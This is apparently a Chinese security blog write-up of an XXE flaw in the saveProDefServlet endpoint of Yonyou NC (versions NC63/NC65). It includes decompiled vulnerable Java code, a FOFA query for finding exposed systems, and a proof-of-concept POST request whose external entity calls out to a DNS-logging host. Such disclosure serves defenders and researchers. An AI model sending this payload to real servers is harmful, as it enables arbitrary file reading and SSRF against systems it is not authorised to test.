用友NC saveProDefServlet XML实体注入(XXE)漏洞


漏洞简介

用友NC系统存在XML外部实体注入(XXE)漏洞。攻击者可通过构造恶意XML内容,利用saveProDefServlet接口解析,实现任意文件读取或SSRF攻击等攻击,进而可能导致敏感信息泄露或进一步的系统入侵。

影响版本

NC63、NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

这个洞(旧洞 是在审计之前的一个老洞的时候发现的

那就搜索saveProDefServlet,找到了 nc/uap/wfm/action/SaveProDefServlet.class 看下它的实现吧

@Servlet(
    path = "/servlet/saveProDefServlet"
)
public class SaveProDefServlet extends WfBaseServlet {
    private static final String NEW_PRODEF_PK = "NewProdefPk";
    private static final long serialVersionUID = 856521354399862503L;
    private static final String ROOT_DOC_TAG = "Root";
    private static final String RESULT_DOC_TAG = "Result";
    private static final String ISNEWVERSION_DOC_TAG = "IsNewVersion";
    private static final String ISINSERTNEW_DOC_TAG = "IsInsertNew";

    @Action(
        method = "POST"
    )
    public void doPost() {
        String proDefXml = this.request.getParameter("prodefxml");
        String isNewVersion = "false";
        String newProdefPk = null;
        String isInsertNew = "false";
        this.response.setCharacterEncoding("utf-8");
        this.response.setContentType("text/html");
        PrintWriter out = null;

        try {
            out = this.response.getWriter();
        } catch (IOException e1) {
            WfmLogger.error(e1.getMessage(), e1);
            throw new LfwRuntimeException(e1.getMessage());
        }

        try {
            proDefXml = URLDecoder.decode(proDefXml, "UTF-8");
        } catch (UnsupportedEncodingException e) {
            WfmLogger.error(e.getMessage(), e);
            throw new LfwRuntimeException(e.getMessage());
        }

        String checkRsult = this.checkProdefXml(proDefXml);

prodefxml参数的值被带入了checkProdefXml方法,跟进看下它的实现

private String checkProdefXml(String proDefXml) {
    String result = "";

    try {
        ProDef prodef = ProcessParser.getInstance().parse(proDefXml);

继续跟进ProcessParser的parse方法

import org.apache.commons.digester3.Digester;
......
public ProDef parse(String prodefxml) throws WfmServiceException {
    if (prodefxml != null && prodefxml.length() != 0) {
        Reader reader = null;

        ProDef var7;
        try {
            String xmlpath = "Definitions/Process";
            Digester digester = new Digester();
            reader = new StringReader(prodefxml);
            digester.setValidating(false);
            int count = 0;
            this.recursSubProcess(digester, xmlpath, count);
            ProDef proDef = (ProDef)digester.parse(reader);

接收prodefxml后使用Apache Commons Digester 库将其解析成一个 ProDef 对象。

由于代码在解析用户传入的XML内容时,未对XML解析器进行安全配置以禁用外部实体的解析,造成了 XML外部实体注入(XXE)漏洞。攻击者可利用此漏洞读取服务器上的任意文件、发起服务端请求伪造(SSRF)或进行拒绝服务攻击。

漏洞复现

需要注意 prodefxml 参数的值需要双重URL编码

POST /portal/pt/servlet/saveProDefServlet/doPost?pageId=login HTTP/1.1
Host: nc.mrxn.net
Content-Type: application/x-www-form-urlencoded

prodefxml={{url({{url(<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.dnslog.pt/xxe_test">
%remote;]>
<root/>)}})}}

在DNSLOG平台收到DNS和HTTP请求

参考


手机扫码阅读

孚盟云CRM ReportShow.aspx SQL注入漏洞

用友NC OAUserAuthenticationServlet 反序列化代码执行RCE漏洞

评 论